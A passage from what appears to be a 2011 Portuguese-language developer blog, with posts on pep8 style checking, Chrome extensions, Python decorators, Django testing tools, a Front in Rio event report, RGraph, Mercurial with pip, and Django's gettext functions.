Vamos analisar o código do Django Brasil (você não sabia? O site é open source!), mais especificamente o arquivo models.py da app blog:

$ pep8 src/djangobrasil/apps/blog/models.py

src/djangobrasil/apps/blog/models.py:42:65: W291 trailing whitespace
src/djangobrasil/apps/blog/models.py:62:1: E302 expected 2 blank lines, found 1
src/djangobrasil/apps/blog/models.py:105:80: E501 line too long (89 characters)

Como podemos ver, a ferramenta nos mostra a linha e coluna onde o problema foi encontrado, apresentando uma breve descrição da incoerência que estamos cometendo em relação às recomendações da PEP 8.

Para obter uma resposta mais “verbose“, podemos passar alguns parâmetros para o pep8:

$ pep8 src/djangobrasil/apps/blog/models.py --show-source --show-pep8

Viu só?! Dessa forma podemos aprender sobre a PEP 8 enquanto “ferimos” as convenções de código em nossos projetos :D

Para finalizar, podemos contar as ocorrências de problemas com a PEP 8 em determinada região do projeto:

$ pep8 src/djangobrasil/apps/blog/ --statistics -qq --filename=*.py

1       E225 missing whitespace around operator
7       E302 expected 2 blank lines, found 1
1       E303 too many blank lines (2)
11      E501 line too long (89 characters)
4       W291 trailing whitespace
2       W391 blank line at end of file

Nenhum problema muito grave de convenções de código na app blog do DjangoBrasil ;)

Confira: pep8 – Python style guide checker.

Referências

Nos próximos posts, vamos dar uma pincelada no pylint, pyflakes e clone digger.

Até a próxima…

Minhas extensões favoritas do Google Chrome

Tue, 09 Aug 2011 23:17:00 GMT

O Google Chrome há muito já provou ser um fantástico navegador, me fazendo largar o Firefox já na sua primeira semana de lançamento (olha que eu ainda usava Windows).

Hoje é um dos navegadores mais rápidos, seguros, com uma usabilidade impressionante e que suporta mais recursos da HTML5 (obrigado Webkit ;)). Portanto, motivos para usá-lo não faltam (mesmo depois do lançamento do Firefox 5).

Venho utilizando alguns add-ons que me fizeram esquecer rapidamente do Firefox. Aqui vai a lista dos meus preferidos:

Android SDK Reference Search

Para quem está trabalhando com Android, este add-on pode ser muito interessante.

Após instalá-lo, você poderá pesquisar as referências da SDK do Android através da sua barra de endereço. Utilizando o prefixo “ad“, você pode fazer pesquisas sobre a SDK da plataforma com muito mais facilidade.

Confira: Android SDK Reference na Chrome Web Store.

BuiltWith Technology Profiler

Este add-on exibe as principais tecnologias utilizadas por um website, podendo dar informações mais básicas, como se o website utiliza o Google Analytics, até informações mais “obscuras”, como a linguagem de programação e o servidor web utilizado pelo host.

Confira: BuiltWith Technology Profiler.

Chrome Sniffer

Exemplo do Chrome Sniffer

O Chrome Sniffer traz informações mais específicas que o BuiltWith Technology. Por exemplo, através dele sabemos que o website da Band utiliza jQuery 1.6, Modernizr 1.7 e Google Analytics.

Outro site interessante para avaliarmos é o Joomla.org, que utiliza o CMS Joomla!, Google Analytics e Mootools 1.12.

Confira: Chrome Sniffer.

Delicious Tools

E para quem utiliza o Delicious como bookmark online, eu recomendo o Delicious Tools.

É um dos add-ons que eu mais utilizo no dia-a-dia. Ele permite que você adicione links ao seu Delicious de forma muito prática e rápida. Fica a dica para você que gosta de armazenar um grande número de urls em seus favoritos.

Confira: Delicious Tools.

Eye Dropper

Plugin Eyer Dropper

E quando estamos desenvolvendo algum website e bate aquela dúvida em relação a cores? O Eye Dropper facilita a nossa vida!

Ele é um “conta gotas”, que permite que você capture cores diretamente no seu navegador, sem precisar utilizar ferramentas gráficas como Gimp ou Photoshop. Excelente para aqueles momentos em que estamos focados na construção de estilos de nossos projetos.

Confira: Eye Dropper.

Google Mail Checker

Se você tem a irritante mania de verificar os seus e-mails de 5 em 5 minutos, o Google Mail Checker pode ser de grande utilidade.

Este add-on exibe quantos e-mails não lidos você tem em sua caixa de entrada. Um santo remédio para curar essa “síndrome da caixa de entrada”, não?

Confira: Google Mail Checker.

Google Reader Notifier

Este add-on produzido pela Google tem uma finalidade semelhante ao do Google Mail Checker, só que ao invés de notificar quantos e-mails você têm para ler, ele notifica quantas entradas novas você têm no Google Reader.

Outro grande add-on para você que não tem tempo a perder.

Confira: Google Reader Notifier.

HTML5 Powered

Está embarcando na onda do HTML5? Quer saber quais sites que você navega que são feitos na linguagem?

O HTML5 Powered exibe uma flag muito simpática na área direita da sua barra de endereços quando o website tiver o Doctype da HTML5. Este, junto com o Chrome Sniffer, são excelentes para você visualizar de forma rápida as tecnologias utilizadas para desenvolver o website que você está visitando.

Confira: HTML5 Powered.

jQuery API Browser

Surgiu aquela dúvida sobre a API da jQuery? Sem saco de ir até a página da documentação da biblioteca?

Com o jQuery API Browser você faz pesquisas na API da jQuery sem precisar mudar de aba do navegador. Muito útil, principalmente para aquelas dúvidas bobas que aparecem no meio de uma lógica.

Confira: jQuery API Browser.

JSLint for Google Chrome

E foi-se a época em que o Javascript era um mero coadjuvante. Hoje em dia temos até frameworks MVC para a linguagem!

Com o JSLint você é capaz de testar a qualidade do seu script sem precisar fazer upload de nenhum arquivo, ou abrir a página oficial da ferramenta.

Confira: JSLint for Google Chrome.

JSONView

Justiça seja feita, o Google Chrome é péssimo em renderizar formatos como XML e JSON. Se você utiliza JSON e sente falta de uma visualização mais amigável por parte do Chrome, o JSONView resolve este problema.

Ele organiza a renderização de um arquivo JSON em nós, indentando e respeitando hierarquia. Um dos add-ons mais simples e eficazes que já encontrei!

Confira: JSONView.

Migre.me

Logotipo do Migre.me

O migre.me é o encurtador de URLs criado pelo hilário Jonny Ken.

Encurte URLs de forma rápida e prática, sem precisar abrir aba de navegador ou mudar de página. Excelente para quando você está lendo alguma notícia interessante e quer compartilhá-la com seus amigos no Twitter ou Facebook.

Confira: Migre.me no Chrome Web Store.

Pendule

O Pendule é um set de ferramentas para desenvolvedores Web, com funcionalidades interessantes como reload de todo o CSS da página, redimensionamento da janela e validadores HTML, CSS e de acessibilidade.

Confira: Pendule.

Python Search

E nos mesmos moldes do Android SDK Reference Search temos o Python Search.

Pesquise na documentação oficial do Python utilizando o sufixo “py” na sua barra de endereço do Chrome. A verdade é que é realizada uma busca no Google, mas a documentação da linguagem tem maior relevância nos resultados.

De qualquer maneira, muito útil para os momentos de aperto.

Confira: Python Search.

Resolution Test

Quer testar o seu website nas mais diferentes resoluções possíveis? O Resolution Test é um add-on incrível que permite fazer com que o seu Google Chrome fique dos mais variados tamanhos.

O Pendule tem uma funcionalidade similar… portanto fica a opção de escolha. Venho utilizando o Resolution Test há muito tempo, por isso recomendo.

Confira: Resolution Test.

SEO Site Tools

Um dos mais fantásticos add-ons que tenho para recomendar!

O SEO Site Tools é mais que um add-on, é uma ferramenta que lhe auxilia a cuidar da parte de SEO do seu website. Inclusive, com informações referentes a relevância nas mídias sociais, sugestões de melhorias, e o já clássico PageRank.

Confira: SEO Site Tools.

Silver Bird

Gosta do Twitter? O Silver Bird é um cliente de Twitter que funciona diretamente no seu Google Chrome.

Acompanhe o que está “rolando” com seus amigos, e poste na plataforma sem precisar mudar de página, e de forma rápida. Muito bom!

Confira: Silver Bird.

Speed Tracer (by Google)

Speed Tracer Logo

Quer descobrir como anda a performance da sua aplicação Web? O Speed Tracer pode te mostrar alguns gargalos que venham a ocorrer.

Com métricas baseadas na execução de Javascript, tempo de carregamento de recurso e interpretação de seletores CSS, pode ser uma ótima ferramenta para te ajudar a identificar e resolver problemas de performance.

Confira: Speed Tracer.

Web Developer

E quando você não achar uma ferramenta no Pendule, tente no Web Developer.

Este add-on, focado para desenvolvedores Web, possui alguns diferenciais em relação ao Pendule, como um melhor controle sobre imagens, formulários e estilos. Vale a pena ter os dois à disposição.

Confira: Web Developer.

WhatFont

Quer descobrir a fonte de um determinado parágrafo? O WhatFont é um add-on maneiríssimo que te permite descobrir não somente a fonte de um texto, mas também tamanho, tamanho da linha, cor e a família da fonte.

Confira: WhatFont.

YSlow

Logotipo do YSlow

E por último, mas não menos importante, uma das extensões mais famosas do Firefox (entre os desenvolvedores) ganha a sua versão para o Google Chrome!

O YSlow tem certa semelhança com o Speed Trace, te ajudando a controlar a performance do seu website ou aplicação Web. Porém, ele é relativamente mais simples, e tem um enfoque maior no tempo e consumo de recursos, apresentando uma nota final (baseada em métricas que estão no livro “Alta Performance em Sites Web“) juntamente com sugestões de melhorias que deixarão o seu website muito mais rápido.

Confira: YSlow.

E você? Tem alguma extensão para recomendar? Compartilhe através dos comentários abaixo…

Decorators em Python

Tue, 02 Aug 2011 20:00:00 GMT

E na mesma linha dos closures, eu passei a saber realmente o que são decorators depois de utilizar o framework Django. Se você está trabalhando com Orientação a Objetos e até agora não se deparou com este recurso, te garanto que um dia você precisará dele… afinal, é um dos Design Patterns mais bacanas (e úteis) que já vi.

Vamos lá “decorar” nossos métodos Python!

Decoradores? Really?

Eu não saberia explicar de uma forma melhor do que foi explicado pela Wikipedia, o que é o padrão decorator:

Intenção: Acrescentar responsabilidades a um objeto dinamicamente. Prover alternativa flexível ao uso de subclasses para se estender a funcionalidade de uma classe;
Motivação: Objeto usado possui as funcionalidades básicas, mas é necessário adicionar funcionalidades adicionais a ele que podem ocorrer antes ou depois da funcionalidade básica. Funcionalidades devem ser adicionadas em instancias individuais e não na classe;
Consequências: Mais flexibilidade do que herança.

Encontramos na Wiki do Python uma explicação mais objetiva e esclarecedora:

Decorators alteram dinamicamente a funcionalidade de uma função, método ou classe, sem uso direto de subclasses ou alterando o código-fonte da função “decorada”.

O uso de decorators em Python

O Python começou a dar suporte a decorators a partir da versão 2.4.

Você terá a sua disposição alguns decoradores built-in e também poderá criar os seus próprios sem muito dificuldade. É possível identificar um decorator através do caractere @, por exemplo, a instrução abaixo declara o método say_hello da classe People como estático:

class People:
  @staticmethod
  def say_hello():
    print 'Hello!'

Vale notar que podemos reproduzir o comportamento acima sem utilizar a sintaxe especial de decorators (mas não deixamos de utilizar o conceito):

class People:
  def say_hello():
    print 'Hello!'
  say_hello = staticmethod(say_hello)

Quer conhecer mais sobre decorators em Python? Leia a PEP 318 – Decorators for functions and methods.

Um pouco de prática

Vamos por a mão na massa e criar o nosso próprio decorator:

# meu_decorator.py

def meu_decorador(alvo):
  def wrapper():
    print 'Chamando a funcao "%s"' % alvo.__name__
    return alvo()

  return wrapper

@meu_decorador
def meu_alvo():
  print 'Eu sou um alvo!'

meu_alvo()

Chamando o script acima, teremos o seguinte resultado:

$ python meu_decorator.py

Chamando a funcao "meu_alvo"
Eu sou um alvo!

Vou tentar seguir um fluxo que deixe claro o que o procedimento está realizando.

O comportamento da função meu_alvo é muito simples: imprimir “Eu sou um alvo!” na tela. Mas o @meu_decorador está lá para complicar a nossa vida :D

Com a chamada de @meu_decorador logo acima de meu_alvo, fica claro que na verdade estamos passando meu_alvo como um parâmetro (alvo) para o método meu_decorador, encontrado logo no início do arquivo. Note que o método retorna wrapper sem os parênteses no final (que caracterizam uma chamada de função), ele está retornando apenas a referência ao método wrapper, que será de fato “executado” externamente.

Dentro da função wrapper temos a impressão da string ‘Chamando a funcao “meu_alvo”‘ e a execução de meu_alvo. Isto deve-se ao fato de que alvo nada mais é que uma referência a função meu_alvo, que passamos como argumento para meu_decorador através do @meu_decorador logo acima da função meu_alvo, certo?

Então resumindo isso tudo, o resultado final é que meu_alvo() no final do arquivo na verdade é a execução da referência a wrapper, ou seja, é o mesmo que ler “wrapper()“. Ele fará o print e posteriormente retornará o resultado de meu_alvo, que nada mais é que a impressão de “Eu sou um alvo!”.

Bacana não? Aqui vai mais um para deixar as coisas um pouco mais claras… vamos simular o esquema de roteamento de um framework web:

rotas = []

def rota(endereco):
  def wrapper(fn):
    rotas.append((endereco, fn))

  return wrapper

@rota('/index/')
def home_view():
  return 'Pagina inicial'

@rota('/contato/')
def contato_view():
  return 'Pagina de contato'

print rotas[0][1]()  # Pagina inicial
print rotas[1][1]()  # Pagina de contato
print rotas
# [('/index/', < function home_view at 0xb736580c >),
#  ('/contato/', < function contato_view at 0xb7365b8c >)]

Referências

Até a próxima…

Ferramentas de testes em Django - Parte 2

Sat, 23 Jul 2011 18:00:00 GMT

No post anterior, conhecemos as ferramentas default para construção de testes automatizados em Django. Acontece que você pode “sair um pouco da caixa” e usufruir de ferramentas “third-party“, que enriquecerão o seu ambiente de desenvolvimento e lhe trarão maior segurança em seus testes de software.

splinter – Testando a sua aplicação com um navegador

É perfeitamente possível criar testes de aceitação em Django com a TestClient e lxml. Mas vamos ser sinceros, é deveras trabalhoso “parsear” os resultados das suas views.

Com a Splinter, uma ferramenta para testes de aplicações web, você pode automatizar ações executadas por navegadores, como visitar uma página, preencher um formulário ou clicar em um link; tudo isso sem preocupar-se com parsing, nós, DOM, nem nada do tipo:

from splinter.browser
import Browser

browser = Browser()

# Visitar uma URL
url = "http://search.twitter.com"
browser.visit(url)
browser.fill('q', "#cobrateam")

# Procurar e clicar no botão 'search'
button = browser.find_by_css("#searchButton input").first

# Interagir com os elementos
button.click()

if browser.is_text_present("No results for #cobrateam"):
    print "nobody likes us =("
else:
    print "we're popular =)"

O que eu acho mais bacana nesta ferramenta são os seletores, facilitam muito na hora de checar resultados e comportamentos.

A comunidade em volta desta ferramenta está em constante crescimento e atividade. Portanto, caso você queira contribuir com o projeto, vá agora mesmo para o repositório no GitHub e colabore.

nose – Caçando testes em seu projeto (Python)

E quando queremos fugir da regra? Aposto que chegará um momento em que a estrutura de diretórios padrão, necessária para a execução dos seus testes em Django, não te satisfará mais. O que fazer neste caso? Simples, recorra ao Nose!

O Nose estende os recursos da unittest e facilita a escrita e carregamento dos testes em projetos Python. De uma forma mais detalhada, ele percorre o seu projeto (ou uma determinada região de seu escolha) executando subclasses da unittest.TestCase ou funções que contenham “test”. Por exemplo:

# test_subclasse.py
import unittest

class SubclasseTest(unittest.TestCase):
    def test_um_eh_verdadeiro(self):
        self.assertTrue(1)

# test_funcao.py
def test_zero_eh_falso():
    assert 0 == False

Ao executar o comando nosetests o nose se encarregará de procurar e carregar os testes:

$ nosetests
..
----------------------------------------------------------------------
Ran 2 tests in 0.005s

OK

É claro que existe uma “mágica” aí. Na verdade o nose pesquisará por arquivos Python com “test” em seu nome, por funções com “test” em seu enunciado, e por classes com métodos “test” em sua declaração. Ele age mesmo como um “runner“, tendo a capacidade de lidar com testes escritos com unittest ou não.

Essa é só a ponta do iceberg. É possível construir plugins para o nose, permitindo melhorar ainda mais o seu ambiente de testes (como por exemplo, permitir que o nose funcione em subprocess separados).

Caçando testes em seu projeto (Django)

Para facilitar ainda mais a escrita de testes em Django existem plugins como o django-nose, que permite que você substitua o Test Runner padrão da framework por um específico que utiliza o nose, unindo assim a facilidade e “add-ons” do nose com o ambiente de testes do Django.

lettuce – BDD em Django

E se você estava se perguntando sobre BDD em Django, eu apresento a Lettuce!

Esta ferramenta, baseada na Cucumber, permite com que você escreva histórias utilizando linguagem ubíqua, mais próxima da área de negócios do que da área técnica, e automatize a validação delas.

O mais bacana é que ela já vem preparada para o Django, permitindo que a gente execute os testes de comportamento de forma fácil e rápida:

Feature: Rocking with lettuce and django

    Scenario: Simple Hello World
        Given I access the url "/"
        Then I see the header "Hello World"

    Scenario: Hello + capitalized name
        Given I access the url "/some-name"
        Then I see the header "Hello Some Name"

História escrita, vamos escrever o script Python que validará se está tudo de acordo:

from lettuce import *
from lxml import html
from django.test.client import Client

@before.all
def set_browser():
    world.browser = Client()

@step(r'I access the url "(.*)"')
def access_url(step, url):
    response = world.browser.get(url)
    world.dom = html.fromstring(response.content)

@step(r'I see the header "(.*)"')
def see_header(step, text):
    header = world.dom.cssselect('h1')[0]
    assert header.text == text

Basta executá-lo da seguinte maneira:

$ python manage.py harvest

Confira mais informações sobre como utilizar o lettuce com Django.

fudge – Ajude o Python a mentir

O Fudge é um módulo Python que auxilia na construção de objetos “dublês” (mocks e stubs), que permitem escrever testes sem necessariamente possuir um serviço ativo ou um objeto construído.

Um caso comum: Você está construindo uma API que autentica via OAuth ao Twitter e está utilizando testes para guiar o seu desenvolvimento. Não é interessante que nossos testes sejam dependentes da disponibilidade do serviço do Twitter, portanto, escrevemos um “objeto mentiroso”, que simulará este serviço, aceitando uma entrada e gerando um saída:

import fudge

@fudge.patch('oauthtwitter.OAuthApi')
def test(FakeOAuthApi):
    (FakeOAuthApi.expects_call()
    .with_args('', '',
                '', '')
    .returns_fake()
    .expects('UpdateStatus').with_arg_count(1))

post_msg_to_twitter("hey there fellow testing freaks!")

Pronto! Sabendo que valores serão passados, e quais os resultados, podemos simular o comportamento daquele serviço. Prático, não?

Considerações finais

Estas são as ferramentas que eu costumo utilizar em meus projetos Python/Django. É claro que existem outras, na verdade existem várias. Tenha em mente que a ferramenta é apenas um meio de garantir, através de testes, que você está guiando a sua aplicação para o lugar certo. Os testes automatizados no final servem para garantir que ela ainda segue este caminho, que contribuições realizadas tardiamente não “quebraram” o comportamento que você escreveu no início do desenvolvimento.

Tenho a intenção de escrever um post mais prático sobre testes e Django. Fiquem no aguardo ;)

E você? Tem alguma ferramenta para recomendar? Utilize os comentários abaixo para compartilhá-la.

Referências

Até a próxima…

Ferramentas de testes em Django - Parte 1

Mon, 18 Jul 2011 22:06:00 GMT

Dando continuidade à série “Montando seu ambiente de desenvolvimento Django no Linux“, vou indicar algumas ferramentas de testes para que você também possa deixar com que os testes guiem o desenvolvimento de suas aplicações.

Afinal, testar é preciso ;)

Testar em Django é possível?

Sem dúvida nenhuma! Mas não espere que o framework adeque-se a você, você precisa ter a iniciativa de tentar compreender as melhores maneiras para escrever testes em Django.

Por exemplo, se você tem por hábito isolar os modelos para testá-los de forma unitária, pode passar por certa dor de cabeça com o Python / Django. Não que seja impossível, mas o comportamento default do framework é criar uma base de dados “fake” para você não precisar ter este trabalho.

Enfim, talvez a forma de utilizar estas ferramentas caiba em um outro post, o objetivo deste é apenas apresentá-las.

unittest – Testando unidades através de classes

A unittest é uma biblioteca padrão do Python que ajuda (e muito) a escrever testes automatizados com a linguagem.

Os testes são escritos através de classes, onde utilizamos os esquemas de assertions para garantir o comportamento do código testado (nenhuma novidade até aqui). Para quem utiliza testes unitários no Java não vai sentir grandes mudanças na abordagem, já que a unittest é inspirada na JUnit (sendo muitas vezes até chamada de PyUnit):

import unittest
from myapp.models import Animal

class AnimalTestCase(unittest.TestCase):
  def setUp(self):
    self.lion = Animal.objects.create(name="lion", sound="roar")
    self.cat = Animal.objects.create(name="cat", sound="meow")

  def testSpeaking(self):
    self.assertEquals(self.lion.speak(), 'The lion says "roar"')
    self.assertEquals(self.cat.speak(), 'The cat says "meow"')

O test runner padrão do Django irá procurar por subclasses de unittest.TestCase nos arquivos models.py e tests.py. A suíte de testes tenta facilitar ao máximo a sua vida… execute a seguinte instrução e confira se a sua aplicação está ok ou não:

$ python manage.py test

Peraí que não acabou! Apresentando a TestCase

Testar aplicações Web com a unittest pode ser dureza. Pensando nisso o Django disponibiliza a TestCase, que estende a unittest adicionando funcionalidades como carregamento de fixtures, roteamento de urls e um client para fazer requisições Web e testar as suas views (o TestClient, detalhado mais abaixo).

doctest – Testando através de docstrings

Admito que escrever documentação de software não é o meu forte… mas com doctests pode-se documentar métodos ao mesmo tempo em que escreve-se testes!

A doctest é uma biblioteca padrão do Python que procura e interpreta docstrings na aplicação. A sintaxe nesses trechos de docstrings é diferenciada, simulando um interpretador interativo do Python:

# models.py
from django.db import models

class Animal(models.Model):
  """
  An animal that knows how to make noise

  # Create some animals
  >>> lion = Animal.objects.create(name="lion", sound="roar")
  >>> cat = Animal.objects.create(name="cat", sound="meow")

  # Make 'em speak
  >>> lion.speak()
  'The lion says "roar"'
  >>> cat.speak()
  'The cat says "meow"'
  """
  name = models.CharField(max_length=20)
  sound = models.CharField(max_length=20)

  def speak(self):
    return 'The %s says "%s"' % (self.name, self.sound)

Assim como com a unittest, o test runner padrão do Django procurará por ocorrências de docstests em models.py e tests.py.

Django Test Client – Testando a sua aplicação como se fosse um navegador

E como fazer para testar requisições Web? Por exemplo, você não quer testar a sua view de forma isolada, quer testar desde a parte de roteamento ao comportamento com o banco de dados, como se você se estivesse realmente visitando a página. Neste caso entra a test client.

Toda a classe TestCase possui uma instância da Django Test Client. Então escrever testes com requisições à sua aplicação fica muito simples utilizando classes:

from django.test import TestCase

class SimpleTest(TestCase):
  def test_details(self):
    response = self.client.get('/customer/details/')
    self.assertEqual(response.status_code, 200)

  def test_index(self):
    response = self.client.get('/customer/index/')
    self.assertEqual(response.status_code, 200)

É perfeitamente possível utilizar a test client em doctests também:

"""
>>> from django.test.client import Client
>>> c = Client()
>>> response = c.post('/login/', {'username': 'john',
...        'password': 'smith'})
>>> response.status_code
200
"""

Considerações finais

Particularmente, tive a oportunidade de implementar testes unitários já no início do meu aprendizado em Django. Deixar os testes te guiarem é uma prática excelente!

Tudo parte do bom senso, óbvio. Nenhum processo ou ferramenta deveria substituir o “feeling” do profissional… também não é muito sadio ser extremamente “by the book“. Mas se puder utilizar testes para guiar o seu desenvolvimento, use-os!

Na segunda parte deste post pretendo apresentar algumas ferramentas que irão turbinar ainda mais o seu desenvolvimento orientado a testes.

Até lá!

Referências

Front in Rio 2011 - Eu fui!

Sun, 19 Jun 2011 21:24:00 GMT

Enquanto as minhas esperanças de ir para o Rock in Rio deste ano acabaram, não pude deixar de acompanhar meus colegas @romulojales, @kenjiyamamoto e @davidsonFellipe na edição do Front in Rio 2011.

É o primeiro evento que participo como funcionário da Globo.com, e devo confessar que é também o primeiro evento fora do ambiente acadêmico. Não, não palestrei… esse papel foi muito bem desempenhado pelas grandes pessoas que estiveram “em cima dos palcos”.

@font-face

Maujor no Front in Rio 2011

E para começar bem o dia, fui logo ver o mestre, o “dinossauro das CSS“, @maujor.

Em uma palestra descontraída, ele nos apresentou a propriedade @font-face da CSS3. Agora podemos deixar os designers utilizarem as fontes que bem entenderem (calma, estou sendo exagerado), pois com este recurso, poderemos “uppar” um arquivo de fonte para um servidor remoto. O navegador fará download deste arquivo, interpretando assim os mais bizarros font-family que o “pessoal do photoshop” sempre quis utilizar:

Android UI Design Patterns & Melhores Práticas

Em seguida, Oscar Marques esclareceu ao pessoal sobre as melhores práticas do desenvolvimento Android tratando-se de front-end.

Embora a palestra tenha sido bem rápida, o Oscar foi capaz de transmitir alguns conceitos e cuidados em relação ao desenvolvimento Android. Foi interessante ver que o pessoal tem uma forte preocupação com a usabilidade, principalmente levando em conta o fato que o Android está disseminado nos mais diversos tipos de dispositivos.

Desbravando o HTML5 Boilerplate

E a HTML5 esteve fortemente representada neste Front in Rio. @zenorocha me convenceu a deixar com que o pessoal do HTML5 Boilerplate guiasse a estrutura dos meus próximos projetos com HTML5.

Em uma palestra com bastante momentos práticos, Zeno nos explicou a filosofia do projeto e seus artefatos. No final, nos presenteou com alguns links, entre eles o django-html5-boilerplate.

Seletores

Depois do almoço, e de uma caminhada para conhecer um pouco mais o bairro da Urca, foi a vez de prestigiar o colega de trabalho @fabiomiranda.

“Mago dos seletores”, como denominado por alguns colegas, o Fábio ajudou a construir a engine de seletores da Mootools. Além de nos apresentar a Sizzle (utilizada pela jQuery) e a Slick (utilizada pela Mootools), propos a análise de alguns seletores e nos fez pensar sobre performance.

A palestra, embora recheada de piadas internas, foi extremamente útil:

Animações e Jogos além do canvas

E mais uma vez a dupla HTML5 e CSS3 teve vez com a palestra do @andrewsmedina.

Andrews apresentou alguns argumentos para deixarmos de pensar somente em canvas quando o assunto é desenvolvimento de jogos para a Web, e considerarmos o uso de “elementos comuns” (como div) e das propriedades de animação e transformação da CSS3.

Ele desenvolveu um pacman simples, que ilustrou muito bem o objetivo da palestra. O projeto, inclusive, está no GitHub.

Canvas vs. SVG

Para finalizar o dia, o amigo @davidsonFellipe fez um comparativo entre canvas e svg, dando dicas de uso de ambos (em seus respectivos cenários). Para aqueles que ainda têm dúvidas sobre onde usar cada um, foi uma palestra extremamente esclarecedora.

A sua palestra lembrou-me muito um post que fiz ao Profissionais TI sobre o assunto. No final das contas, concordei 100% com tudo o que foi proposto pelo palestrante.

Considerações finais

Voltei para casa, com aquele sentimento de um grande dia. Posso resumir assim esta edição do Front in Rio 2011 (e olha que tinham mais palestras para assistir!).

Agora é esperar até o ano que vem, e quem sabe, deixar de ser somente um “consumidor”.

Gráficos estatísticos em Canvas com RGraph

Sun, 12 Jun 2011 21:38:00 GMT

O RGraph é uma fantástica lib Javascript, que gera gráficos estatísticos em Canvas de uma forma extremamente simples e direta. Sinceramente, foi uma das libs mais eficazes que já usei para criar representações visuais de relatórios.

Por criar gráficos em Canvas, podemos interagir com os elementos através do Javascript. Isso permite que nossos sistemas fiquem muito mais dinâmicos (e ainda por cima, garante que nossos clientes vejam representações visuais dos números da sua empresa em seu iPad).

Contamos com os seguintes tipos de gráficos:

Barra (horizontal e vertical)
Barra de progresso (horizontal e vertical)
Bi-polar
Donut
Funil
Linha
Odômetro
Pizza
Radar
Rosa
Termometro

Entre outros…

O RGraph é gratuito para uso não comercial. Se você está disposto a utilizá-lo em uma aplicação comercial, eu recomendo a sua compra. Utilizamos na Seti com muito sucesso esta poderosa ferramenta.

E você? Conhece alguma outra lib para criar dados estatísticos? Conte-nos através dos comentários abaixo.

Até a próxima…

Como versionar projetos Django com o Mercurial - Parte 3

Sat, 04 Jun 2011 10:27:00 GMT

Dando continuidade a micro-série Como versionar projetos \Django_ com o Mercurial (confira a parte 1 e a parte 2), vamos finalizar com um exemplo prático de um projeto Django usando o Mercurial.

Começando…

Vamos reutilizar a estrutura dos posts anteriores. Para isso, inicie um projeto com o virtualenv:

$ cd ~/Projetos/
$ virtualenv DjangoComHG --no-site-packages
$ cd DjangoComHG/

Vamos aproveitar os procedimentos descritos na [parte 2][1] deste post. Caso você ainda não tenha criado um repositório no Bitbucket, essa é uma boa oportunidade.

$ hg clone <caminho> django_com_hg

Não esqueça de mudar o caminho para o endereço do seu repositório.

Instalando o Django

Com o virtualenv ativado, vamos instalar o Django apenas para o nosso ambiente virtual através do pip:

$ source bin/activate
$ pip install django

Só para ter certeza que ele instalou o Django dentro do nosso ambiente virtual, vamos abrir o terminal do Python e digitar as seguintes instruções:

import django
django.__path__

Você deverá obter como resposta uma string semelhante a esta:

$HOME/Projetos/DjangoComHG/lib/python2.6/site-packages/django/

Iniciando um projeto

Vamos fazer uma pequena brincadeira de troca de nomes de pastas, para que possamos criar o nosso projeto Django com o mesmo nome do repositório Mercurial:

$ mv post_django_com_hg post_django_com_hg.bk

Agora mandamos o django-admin.py iniciar o projeto:

$ django-admin.py startproject post_django_com_hg

Movemos os arquivos do nosso repositório para dentro de post_django_com_hg:

$ mv post_django_com_hg.bk/* post_django_com_hg/
$ mv post_django_com_hg.bk/.hg post_django_com_hg/
$ mv post_django_com_hg.bk/.hgignore post_django_com_hg/

Entre no diretório post_django_com_hg e dê um hg status. Os arquivos base do Django não estão no projeto. Vamos adicioná-los, comitá-los e dar um push deles para o repositório Mercurial no Bitbucket:

$ hg add .
$ hg commit -m "Projeto Django iniciado"
$ hg push

Nos changesets do repositório, veremos a contribuição enviada:

Changeset no BitBucket

Pronto! Basicamente, para termos o Mercurial versionando um projeto Django, são estes os procedimentos… mas eu sei como deixar a coisa ainda mais interessante

Hora de congelar!

Digamos que você tenha um colaborador envolvido com o projeto. Quer dizer que ele vai ter que criar um virtualenv, clonar o repositório e instalar as dependências do projeto? A resposta é “sim” – Mas podemos facilitar esta última parte através do pip:

$ pip freeze

Django==1.3
wsgiref==0.1.2

O comando pip freeze vai coletar os pacotes Python instalados (nesse nosso caso, dentro do nosso ambiente virtual através do virtualenv) e exibir para a gente em formato de lista. Com isso, podemos criar um arquivo que armazene as dependências do nosso projeto:

$ pip freeze > requirements.txt

Vamos desativar o ambiente atual, criar um novo e instalar as dependências listadas nesta arquivo requirements.txt neste novo ambiente:

$ deactivate
$ cd ~/Projetos/
$ virtualenv DjangoComHG-2 --no-site-packages
$ source DjangoComHG-2/bin/activate
$ pip install -r DjangoComHG/post_django_com_hg/requirements.txt

Veja a mágica acontecendo… o pip instalará todas as dependências contidas em requirements.txt em nosso novo ambiente virtual.

Podemos resumir os comandos acima em:

$ pip install -E DjangoComHG-2 -r DjangoComHG/post_django_com_hg/requirements.txt

A instrução acima deverá ser escrita em um linha só.

Versionando dependências do projeto

Logo o requirements.txt sendo um arquivo de texto, pode ser facilmente versionado pelo Mercurial:

$ cd ~/Projetos/DjangoComHG/post_django_com_hg
$ hg add requirements.txt
$ hg commit -m "Adicionado arquivo de dependências do pip"
$ hg push

Finalmente, temos um projeto Django versionado com Mercurial, disponível no Bitbucket, e com dependências facilmente gerenciáveis através do pip em conjunto com o virtualenv.

E você… utiliza controle de versão com o Django de uma outra forma? Conte-nos através dos comentários abaixo.

Até a próxima…

Quando usar gettext e gettext_lazy?

Wed, 01 Jun 2011 09:41:00 GMT

Para vocês que desenvolvem em Python e Django preocupando-se com internacionalização, já devem ter feito a seguinte pergunta: Quando usar gettext e gettext_lazy?

Acredito que antes de responder esta pergunta, temos que responder outra questão pertinente: Devo utilizar gettext ou ugettext?

gettext vs ugettext

Essas duas funções seguem o mesmo princípio dos métodos mágicos __str__ e __unicode__. Onde gettext retornará um texto traduzido como uma string “comum”, e ugettext retornará um texto traduzido como uma string Unicode.

Como nosso idioma nativo abusa do uso de caracteres especiais, aconselho sempre que possível a utilização do ugettext. Na verdade, é uma forma de garantir sucesso na tradução de qualquer idioma sem quebrar a cabeça com encoding (já que o Unicode tem uma ampla tabela de caracteres).

Além disso, passe a mensagem como Unicode para a função sempre que necessário:

texto_traduzido = ugettext(u'Descrição do produto em estoque')

ugettext vs ugettext_lazy

A principal diferença entre ugettext e ugettext_lazy é que o último é literalmente um preguiçoso. Ele faz uma referência para a string (e não necessariamente para a tradução), fazendo com que a operação seja executada apenas quando a renderização da string é necessária (ao contrário de ugettext que é processado assim que a expressão é interpretada).

Confuso? Talvez o Marinho Brandão possa ser mais claro:

A função “ugettext_lazy()“ é preguiçosa. Isso significa que a tradução é feita somente quando ela é requisitada, o que é
relativamente melhor para o caso de classes de modelo, pois elas
